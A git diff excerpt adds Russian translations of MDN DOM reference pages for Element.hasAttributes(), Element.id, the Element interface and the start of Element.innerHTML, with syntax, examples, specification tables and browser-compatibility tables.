+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>8.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/element/hasattributes/index.html b/files/ru/web/api/element/hasattributes/index.html
new file mode 100644
index 0000000000..1ab3c40fd8
--- /dev/null
+++ b/files/ru/web/api/element/hasattributes/index.html
@@ -0,0 +1,122 @@
+---
+title: Element.hasAttributes()
+slug: Web/API/Element/hasAttributes
+translation_of: Web/API/Element/hasAttributes
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>Метод <code><strong>Element</strong></code><strong><code>.hasAttributes()</code></strong> возвращает <strong>Boolean</strong> значение, указывая содержит данный элемент какие-либо атрибуты или нет.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre>var<em><var> result</var></em> = <em><var>element</var></em>.hasAttributes();</pre>
+
+<dl>
+ <dt><code>result</code></dt>
+ <dd>содержит возвращаемое значение <code>true</code> или <code>false</code>.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">var foo = document.getElementById("foo");
+if (foo.hasAttributes()) {
+    // do something with 'foo.attributes'
+}
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush:js">;(function(prototype) {
+    prototype.hasAttributes = prototype.hasAttributes || function() {
+        return (this.attributes.length &gt; 0);
+    }
+})(Element.prototype);
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-element-hasattributes", "Element.hasAttributes()")}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Moved from the {{domxref("Node")}} interface to the more specialized {{domxref("Element")}} interface.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core','#ID-NodeHasAttrs','hasAttributes()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>No change from {{SpecName("DOM2 Core")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core','#ID-NodeHasAttrs','hasAttributes()')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Initial definition, on the {{domxref("Node")}} interface.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }} [1]</td>
+   <td>9</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Before Firefox 35, it was implemented on the {{domxref("Node")}} interface.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Element.attributes")}}</li>
+ <li>{{domxref("Element.hasAttribute()")}}</li>
+</ul>
diff --git a/files/ru/web/api/element/id/index.html b/files/ru/web/api/element/id/index.html
new file mode 100644
index 0000000000..62fd77b730
--- /dev/null
+++ b/files/ru/web/api/element/id/index.html
@@ -0,0 +1,121 @@
+---
+title: Element.id
+slug: Web/API/Element/id
+tags:
+  - API
+  - DOM
+  - Element
+  - Property
+  - Reference
+translation_of: Web/API/Element/id
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<div>Свойство <code><strong>id</strong></code> представляет идентификатор элемента, отражая глобальный аттрибут <strong><a href="/ru/docs/Web/HTML/Global_attributes/id">id</a></strong>.</div>
+
+<div></div>
+
+<p>Если значение <code><strong>id</strong></code> не пустое, то оно должно быть уникально в документе.</p>
+
+<p><code><strong>id</strong></code> часто используется с {{domxref("document.getElementById", "getElementById")}}, чтобы получить нужный элемент. Часто применяют <a href="/ru/docs/Web/CSS/ID_selectors" title="Web/CSS/ID_selectors">ID как селектор</a>, для стилизации документа, с помощью <a href="r u/docs/Web/CSS" title="CSS">CSS</a>.</p>
+
+<div class="note">
+<p><span style="font-size: 14px; line-height: 21px;"><strong>Замечание</strong></span>: идентификаторы чувствительны к регистру, но вам следует избегать создание id, которых различает регистр (смотрите <a href="/ru/docs/Case_Sensitivity_in_class_and_id_Names" title="Case_Sensitivity_in_class_and_id_Names">Чувствительность к регистру в классах и id'шниках</a>).</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre>var <em>idStr</em> = <em>element</em>.id; // Получаем id.
+</pre>
+
+<pre><em>element</em>.id = <em>idStr</em>;<em> // Применяем id</em>
+</pre>
+
+<p><em><code>idStr</code></em> - идентификатор элемента</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-id', 'id')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Нет изменений от {{SpecName('DOM2 HTML')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-63534901', 'id')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Нет отличий от {{SpecName('DOM1')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-63534901', 'id')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Глобальный атрибут <a href="/ru/docs/Web/HTML/Global_attributes/id"><strong>id</strong></a></li>
+</ul>
diff --git a/files/ru/web/api/element/index.html b/files/ru/web/api/element/index.html
new file mode 100644
index 0000000000..3f95a90be6
--- /dev/null
+++ b/files/ru/web/api/element/index.html
@@ -0,0 +1,297 @@
+---
+title: Element
+slug: Web/API/Element
+tags:
+  - API
+  - DOM
+  - Element
+  - Interface
+  - Reference
+translation_of: Web/API/Element
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><span class="seoSummary">Интерфейс <code><strong>Element</strong></code> представляет собой один из объектов в {{domxref("Document")}}. Этот интерфейс описывает методы и свойства, общие для всех видов элементов. Конкретные модели поведения описаны в интерфейсах, которые наследуют от <code>Element</code>, и добавляют дополнительную функциональность.</span></p>
+
+<p>Например, интерфейс {{domxref("HTMLElement")}} является базовым интерфейсом для HTML-элементов, в то время как интерфейс {{domxref("SVGElement")}} является основой для всех SVG-элементов.</p>
+
+<p>Языки, находящиеся вне области веб-платформы, также используют его. Например, <code>XUL</code> — через <code>интерфейс XULElement</code>.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<p><em>Наследует свойства от родительского узла {{domxref("Node")}} и от собственного родителя {{domxref("EventTarget")}} и реализует свойства {{domxref("ParentNode")}}, {{domxref("ChildNode")}}, {{domxref("NonDocumentTypeChildNode")}}, </em>and {{domxref("Animatable")}}.</p>
+
+<dl>
+ <dt>{{ domxref("Element.assignedSlot")}} {{experimental_inline}} {{readOnlyInline}}</dt>
+ <dd>Возвращает {{domxref("HTMLSlotElement")}} интерфейс, связанный с элементом.</dd>
+ <dt>{{ domxref("Element.attributes") }} {{readOnlyInline}}</dt>
+ <dd>Возвращает {{ domxref("NamedNodeMap") }}, в котором перечислены все атрибуты связанные с элементом.</dd>
+ <dt>{{ domxref("Element.classList") }} {{readOnlyInline}}</dt>
+ <dd>Возвращает {{ domxref("DOMTokenList") }} содержащий список атрибутов класса.</dd>
+ <dt>{{ domxref("ParentNode.childElementCount") }}</dt>
+ <dd>Это {{jsxref("Number")}} представляющее число дочерних узлов, представленных в элементе.</dd>
+ <dt>{{ domxref("ParentNode.children") }}</dt>
+ <dd>Is a live {{ domxref("HTMLCollection") }}, содержащая все дочерние элементы, в виде коллекции.</dd>
+ <dt>{{ domxref("Element.className") }}</dt>
+ <dd>Это {{domxref("DOMString")}}, представляющая класс элемента.</dd>
+ <dt>{{ domxref("Element.clientHeight") }} {{experimental_inline}} {{readOnlyInline}}</dt>
+ <dd>Возвращает {{jsxref("Number")}}, представляющее внутреннюю высоту элемента.</dd>
+ <dt>{{ domxref("Element.clientLeft") }} {{experimental_inline}} {{readOnlyInline}}</dt>
+ <dd>Возвращает {{jsxref("Number")}}, предсталяющее ширину левой границы элемента.</dd>
+ <dt>{{ domxref("Element.clientTop") }} {{experimental_inline}} {{readOnlyInline}}</dt>
+ <dd>Возвращает {{jsxref("Number")}}, представляющее ширину верхней границы элемента.</dd>
+ <dt>{{ domxref("Element.clientWidth") }} {{experimental_inline}} {{readOnlyInline}}</dt>
+ <dd>Возвращает {{jsxref("Number")}}, представляющее внутреннюю ширину элемента.</dd>
+ <dt>{{ domxref("ParentNode.firstElementChild") }}</dt>
+ <dd>Возвращает {{ domxref("Element") }}, первый дочерний элемент элемента или <code>null</code>, если у элемента нет дочерних элементов.</dd>
+ <dt>{{ domxref("Element.id") }}</dt>
+ <dd>Возвращает {{domxref("DOMString")}}, представляющий идентификатор (Id) элемента.</dd>
+ <dt>{{ domxref("Element.innerHTML") }} {{experimental_inline}}</dt>
+ <dd>Является {{domxref("DOMString")}}, представляющей разметку контента элемента.</dd>
+ <dt>{{domxref("Element.namespaceURI")}} {{readonlyInline}}</dt>
+ <dd>Пространство имён URI элемента или null, если это не пространство имен.</dd>
+ <dd>
+ <div class="note">
+ <p><strong>Примечание:</strong> В Firefox версии 3.5 и ранее, HTML элементы не находятся в пространстве имен. В более поздних версиях, HTML элементы находятся в пространстве имен  <code><a href="http://www.w3.org/1999/xhtml" title="Linkification: http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a></code>  как в деревьях HTML, так и XML. {{ gecko_minversion_inline("1.9.2") }}</p>
+ </div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{ domxref("ParentNode.lastElementChild") }}</dt>
+ <dd>Является {{ domxref("Element") }}, последним непосредственным дочерним элементом данного элемента, или <code>null</code>, если у элемента нет дочерних элементов.</dd>
+ <dt>{{ domxref("NonDocumentTypeChildNode.nextElementSibling") }}</dt>
+ <dd>Является {{ domxref("Element") }}, элементом, непосредственно следующим за данным в древе, или <code>null</code>, если соседний элемент отсутствует.</dd>
+ <dt>{{ domxref("Element.outerHTML") }} {{experimental_inline}}</dt>
+ <dd>Является {{domxref("DOMString")}}, представляющей разметку элемента, включая его контент. При использовании в качестве сеттера заменяет элемент узлами, структурированными из указанной строки.</dd>
+ <dt>{{ domxref("NonDocumentTypeChildNode.previousElementSibling") }}</dt>
+ <dd>Является {{ domxref("Element") }}, элементом, непосредственно предшествующим в древе данному, или <code>null</code>, если соседний элемент отсутствует.</dd>
+ <dt>{{ domxref("Element.scrollHeight") }} {{experimental_inline}} {{readOnlyInline}}</dt>
+ <dd>Возвращает {{jsxref("Number")}}, представляющее высоту прокрутки элемента.</dd>
+ <dt>{{ domxref("Element.scrollLeft") }} {{experimental_inline}}</dt>
+ <dd>Является {{jsxref("Number")}}, представляющим количество пикселей, на которые контент элемента прокручен влево.</dd>
+ <dt>{{ domxref("Element.scrollLeftMax") }} {{non-standard_inline}} {{readOnlyInline}}</dt>
+ <dd>Возвращает {{jsxref("Number")}}, представляющее максимально возможное количество пикселей, на которые можно прокрутить контент элемента влево.</dd>
+ <dt>{{ domxref("Element.scrollTop") }} {{experimental_inline}}</dt>
+ <dd>Является {{jsxref("Number")}}, представляющим количество пикселей, на которые контент элемента прокручен от верха.</dd>
+ <dt>{{ domxref("Element.scrollTopMax") }} {{non-standard_inline}} {{readOnlyInline}}</dt>
+ <dd>Вовзращает {{jsxref("Number")}}, представляющее максимально возможное количество пикселей, на которые можно прокрутить контент элемента от верха.</dd>
+ <dt>{{ domxref("Element.scrollWidth") }} {{experimental_inline}} {{readOnlyInline}}</dt>
+ <dd>Возвращает {{jsxref("Number")}}, представляющее ширину прокрутки элемента.</dd>
+ <dt>{{domxref("Element.shadowRoot") }} {{experimental_inline}} {{readOnlyInline}}</dt>
+ <dd>...</dd>
+ <dt>{{ domxref("Element.tagName") }} {{readOnlyInline}}</dt>
+ <dd>Возвращает {{domxref("String")}} с именем тега указанного элемента.</dd>
+ <dt>{{ domxref("Element.undoManager")}} {{experimental_inline}} {{readOnlyInline}}</dt>
+ <dd>Returns the {{domxref("UndoManager")}} associated with the element.</dd>
+ <dt>{{ domxref("Element.undoScope")}} {{experimental_inline}}</dt>
+ <dd>Представляет собой {{jsxref("Boolean")}}, указывающим, является элемент undo scope host, или нет.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Примечание:</strong> В DOM3 <code>namespaceURI</code>, <code>localName</code> и <code>prefix</code> определялись в интерфейсе {{domxref("Node")}}. В DOM4 они были перенесены в <code>Element</code>.</p>
+
+<p>Данное изменение поддерживается в Chrome начиная с версии 46.0 и в Firefox с версии 48.0.</p>
+</div>
+
+<h3 id="Handlers" name="Handlers">Обработчики событий</h3>
+
+<dl>
+ <dt>{{ domxref("Element.ongotpointercapture") }}</dt>
+ <dd>Возвращает обработчик событий для событий типа {{event("gotpointercapture")}}.</dd>
+ <dt>{{ domxref("Element.onlostpointercapture") }}</dt>
+ <dd>Возвращает обработчик событий для событий типа {{event("lostpointercapture")}}.</dd>
+</dl>
+
+<h4 id="Устаревшие_обработчики_событий">Устаревшие обработчики событий</h4>
+
+<dl>
+ <dt>{{ domxref("Element.onwheel") }} {{ non-standard_inline() }}</dt>
+ <dd>Возвращает код обработчика для события <code>wheel</code>.<br>
+ <strong>Сейчас реализован в {{domxref("GlobalEventHandlers.onwheel", "GlobalEventHandlers")}}.</strong></dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<p><em>Наследует методы от своих родителей {{domxref("Node")}}, и своего собственного родителя {{domxref("EventTarget")}}<em>, и реализует методы {{domxref("ParentNode")}}, {{domxref("ChildNode")}}<em>, {{domxref("NonDocumentTypeChildNode")}}, </em></em>и {{domxref("Animatable")}}.</em></p>
+
+<dl>
+ <dt>{{ domxref("EventTarget.addEventListener()") }}</dt>
+ <dd>Регистрирует обработчик событий для опрделенного типа событий в элементе.</dd>
+ <dt>{{ domxref("Element.closest()")}} {{experimental_inline}}</dt>
+ <dd>Возращает {{domxref("Element")}}, потомка этого элемента (или сам этот элемент), который является ближайшим предком элементов, выбраных селекторами, указанными в параметре.</dd>
+ <dt>{{ domxref("Element.createShadowRoot()")}} {{experimental_inline}}</dt>
+ <dd>…</dd>
+ <dt>{{ domxref("EventTarget.dispatchEvent()") }}</dt>
+ <dd>Отправляет событие для этого узла в DOM и возвращает {{jsxref("Boolean")}}, который указывает, что по крайней мере один обработчик не отменил его.</dd>
+ <dt>{{domxref("Element.find()")}}{{experimental_inline}}</dt>
+ <dd>...</dd>
+ <dt>{{domxref("Element.findAll()")}}{{experimental_inline}}</dt>
+ <dd>...</dd>
+ <dt>{{domxref("Animatable.getAnimationPlayers()")}} {{experimental_inline}}</dt>
+ <dd>…</dd>
+ <dt>{{ domxref("Element.getAttribute()") }}</dt>
+ <dd>Извлекает значение именованного атрибута из текущего узла и возвращает его в виде{{jsxref("Object")}}.</dd>
+ <dt>{{ domxref("Element.getAttributeNS()") }}</dt>
+ <dd>Извлекает значение атрибута с указанным именем и пространством имен из текущего узла и возвращает его как {{jsxref("Object")}}.</dd>
+ <dt>{{ domxref("Element.getAttributeNode()") }} {{obsolete_inline}}</dt>
+ <dd>Извлекает представление узла именованного атрибута из текущего узла и возвращает его в виде {{ domxref("Attr") }}.</dd>
+ <dt>{{ domxref("Element.getAttributeNodeNS()") }} {{obsolete_inline}}</dt>
+ <dd>Извлекает представление узла атрибута с указанным именем и пространством имен из текущего узла и возвращает его в виде {{ domxref("Attr") }}.</dd>
+ <dt>{{ domxref("Element.getBoundingClientRect()") }}<code> </code>{{experimental_inline}}</dt>
+ <dd>...</dd>
+ <dt>{{ domxref("Element.getClientRects()") }} {{experimental_inline}} TYPE of returnvalue????</dt>
+ <dd>Returns a collection of rectangles that indicate the bounding rectangles for each line of text in a client.</dd>
+ <dt>{{domxref("Element.getDestinationInsertionPoints()")}} {{experimental_inline}}</dt>
+ <dd>…</dd>
+ <dt>{{ domxref("Element.getElementsByClassName()") }}</dt>
+ <dd>Возвращает коллекцию {{ domxref ("HTMLCollection")}}, которая содержит все элементы, у которых название класса совпадает с тем, что заданно в параметрах функции.</dd>
+ <dt>{{ domxref("Element.getElementsByTagName()") }}</dt>
+ <dd>Возвращает коллекцию {{ domxref ("HTMLCollection")}}, которая содержит все элементы, у которых название тега совпадает с тем, что заданно в параметрах функции.</dd>
+ <dt>{{ domxref("Element.getElementsByTagNameNS()") }}</dt>
+ <dd>Возвращает коллекцию {{ domxref ("HTMLCollection")}}, которая содержит все элементы, у которых название тега и пространства имён совпадает с тем, что заданно в параметрах функции.</dd>
+ <dt>{{ domxref("Element.hasAttribute()") }}</dt>
+ <dd>Вовзращает {{jsxref("Boolean")}}, указывающее, имеет элемент определенный атрибут, или нет.</dd>
+ <dt>{{ domxref("Element.hasAttributeNS()") }}</dt>
+ <dd>Возвращает {{jsxref("Boolean")}}, указывающий, имеет элемент определенный атрибут в определенном пространстве имен, или нет.</dd>
+ <dt>{{ domxref("Element.insertAdjacentHTML") }} {{experimental_inline}}</dt>
+ <dd>Анализирует текст как HTML или XML и вставляет полученные узлы в указанную позицию дерева элементов.</dd>
+ <dt>{{ domxref("Element.matches()") }}<code> </code>{{experimental_inline}}</dt>
+ <dd>Возвращает {{jsxref ("Boolean")}}, указывающий, будет ли элемент выбран указанной строкой селектора.</dd>
+ <dt>{{ domxref("Element.querySelector()") }}</dt>
+ <dd>Возвращает первый {{DOMxRef ("Node")}}, который соответствует указанной строке селектора элемента.</dd>
+ <dt>{{ domxref("Element.querySelectorAll") }}</dt>
+ <dd>Возвращает список {{DOMxRef ("NodeList")}} узлов, которые соответствуют указанной строке селектора элемента.</dd>
+ <dt>{{ domxref("Element.releasePointerCapture")}} {{experimental_inline}}</dt>
+ <dd>Позволяет понять, имеет ли элемент с указанным ID  захват указателя для указателя</dd>
+ <dt>{{domxref("ChildNode.remove()")}}</dt>
+ <dd>Удаляет элемент из списка дочерних элементов родительского элемента.</dd>
+ <dt>{{ domxref("Element.removeAttribute()") }}</dt>
+ <dd>Удаляет именованный атрибут из текущего узла.</dd>
+ <dt>{{ domxref("Element.removeAttributeNS()") }}</dt>
+ <dd>Удаляет атрибут с указанным именем и пространством имен, из текущего узла.</dd>
+ <dt>{{ domxref("Element.removeAttributeNode()") }} {{obsolete_inline}}</dt>
+ <dd>Удаляет представление узла именованного атрибута из текущего узла.</dd>
+ <dt>{{ domxref("EventTarget.removeEventListener()") }}</dt>
+ <dd>Удаляет прослушиватель событий из элемента.</dd>
+ <dt>{{ domxref("Element.requestFullscreen()") }} {{experimental_inline}}</dt>
+ <dd>Асинхронно запрашивает браузер, чтобы сделать элемент полноэкранным.</dd>
+ <dt>{{ domxref("Element.requestPointerLock()")}} {{experimental_inline}}</dt>
+ <dd>Позволяет асинхронно запрашивать блокировку указателя для данного элемента.</dd>
+</dl>
+
+<dl>
+ <dt>{{ domxref("Element.scrollIntoView()") }} {{experimental_inline}}</dt>
+ <dd>Прокручивает страницу до тех пор, пока элемент не попадет в представление.</dd>
+ <dt>{{ domxref("Element.setAttribute()") }}</dt>
+ <dd>Устанавливает значение именованного атрибута из текущей узла.</dd>
+ <dt>{{ domxref("Element.setAttributeNS()") }}</dt>
+ <dd>Устанавливает значение атрибута с опрделенным именем и пространством имен из текущей узла.</dd>
+ <dt>{{ domxref("Element.setAttributeNode()") }} {{obsolete_inline}}</dt>
+ <dd>Задает представление узла именованного атрибута из текущего узла.</dd>
+ <dt>{{ domxref("Element.setAttributeNodeNS()") }} {{obsolete_inline}}</dt>
+ <dd>Установите представление узла атрибута с указанным именем и пространством имен из текущего узла.</dd>
+ <dt>{{ domxref("Element.setCapture()") }} {{non-standard_inline}}</dt>
+ <dd>Настройка захвата событий мыши, перенаправление всех событий мыши на этот элемент.</dd>
+ <dt>{{domxref("Element.setPointerCapture()")}}</dt>
+ <dd>Определяет указанный элемент как цель захвата будущих событий указателя.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Web Animations", '', '')}}</td>
+   <td>{{Spec2("Web Animations")}}</td>
+   <td>Добавлен метод <code>getAnimationPlayers()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Undo Manager', '', 'Element')}}</td>
+   <td>{{Spec2('Undo Manager')}}</td>
+   <td>Добавлены свойства <code>undoScope</code> и <code>undoManager</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Events', '#extensions-to-the-element-interface', 'Element')}}</td>
+   <td>{{Spec2('Pointer Events')}}</td>
+   <td>Добавлены следующие обработчики событий: <code>ongotpointercapture</code> и <code>onlostpointercapture</code>.<br>
+    Добавлены следующие методы: <code>setPointerCapture()</code> и <code>releasePointerCapture()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 2', '#interface-definitions', 'Element')}}</td>
+   <td>{{Spec2('Selectors API Level 2')}}</td>
+   <td>Добавлены следующие методы:<code> matches()</code> (реализовано как <code>mozMatchesSelector()</code>), <code>find()</code>, <code>findAll()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 1', '#interface-definitions', 'Element')}}</td>
+   <td>{{Spec2('Selectors API Level 1')}}</td>
+   <td>Добавлены следующиен методы: <code>querySelector()</code> и <code>querySelectorAll()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Lock', 'index.html#element-interface', 'Element')}}</td>
+   <td>{{Spec2('Pointer Lock')}}</td>
+   <td>Добавлен метод <code>requestPointerLock()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fullscreen', '#api', 'Element')}}</td>
+   <td>{{Spec2('Fullscreen')}}</td>
+   <td>Добавлен метод <code>requestFullscreen()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM Parsing', '#extensions-to-the-element-interface', 'Element')}}</td>
+   <td>{{Spec2('DOM Parsing')}}</td>
+   <td>Добавлены следующие свойства: <code>innerHTML</code>, и <code>outerHTML</code>.<br>
+    Добавлен следующий метод: <code>insertAdjacentHTML()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#extensions-to-the-element-interface', 'Element')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Добавлены следующие свойства: <code>scrollTop</code>, <code>scrollLeft</code>, <code>scrollWidth</code>, <code>scrollHeight</code>, <code>clientTop</code>, <code>clientLeft</code>, <code>clientWidth</code>, и <code>clientHeight</code>.<br>
+    Добавлены следующие методы: <code>getClientRects()</code>, <code>getBoundingClientRect()</code>, и <code>scrollIntoView()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#ecmascript-bindings', 'Element')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Добавлено наследование интерфейса {{domxref("ElementTraversal")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-element', 'Element')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Удалены следующие методы: <code>closest()</code>, <code>setIdAttribute()</code>, <code>setIdAttributeNS()</code>, и <code>setIdAttributeNode()</code>.<br>
+    Удалено свойство <code>schemaTypeInfo</code>.<br>
+    Измененно возращаемое значение <code>getElementsByTag()</code> и <code>getElementsByTagNS()</code>.<br>
+    Moved <code>hasAttributes()</code> form the <code>Node</code> interface to this one.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-745549614', 'Element')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Added the following methods: <code>setIdAttribute()</code>, <code>setIdAttributeNS()</code>, and <code>setIdAttributeNode()</code>. These methods were never implemented and have been removed in later specifications.<br>
+    Added the <code>schemaTypeInfo</code> property. This property was never implemented and has been removed in later specifications.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-745549614', 'Element')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Мнтод <code>normalize()</code> был перемещён в {{domxref("Node")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-745549614', 'Element')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{Compat("api.Element")}}</div>
+
+<div id="compat-desktop"></div>
diff --git a/files/ru/web/api/element/innerhtml/index.html b/files/ru/web/api/element/innerhtml/index.html
new file mode 100644
index 0000000000..60af461354
--- /dev/null
+++ b/files/ru/web/api/element/innerhtml/index.html
@@ -0,0 +1,167 @@
+---
+title: Element.innerHTML
+slug: Web/API/Element/innerHTML
+translation_of: Web/API/Element/innerHTML
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Свойство интерфейса {{domxref("Element")}} <strong><code>innerHTML</code></strong> устанавливает или получает HTML или XML разметку дочерних элементов.</p>
+
+<div class="note"><strong>Примечание: </strong>Если узлы {{HTMLElement("div")}}, {{HTMLElement("span")}}, или {{HTMLElement("noembed")}} имеют дочерние текстовые узлы, содержащие символы <code>(&amp;), (&lt;),</code> или <code>(&gt;)</code>, <code>innerHTML</code> вернет эти символы как &amp;amp, &amp;lt и &amp;gt соответсвенно. Используйте {{domxref("Node.textContent")}} для получения правильной копии содержимого этих текстовых узлов. </div>
+
+<p> Чтобы вставить HTML в документ, не меняя содержимое элемента, используйте {{domxref("Element.insertAdjacentHTML", "insertAdjacentHTML()")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
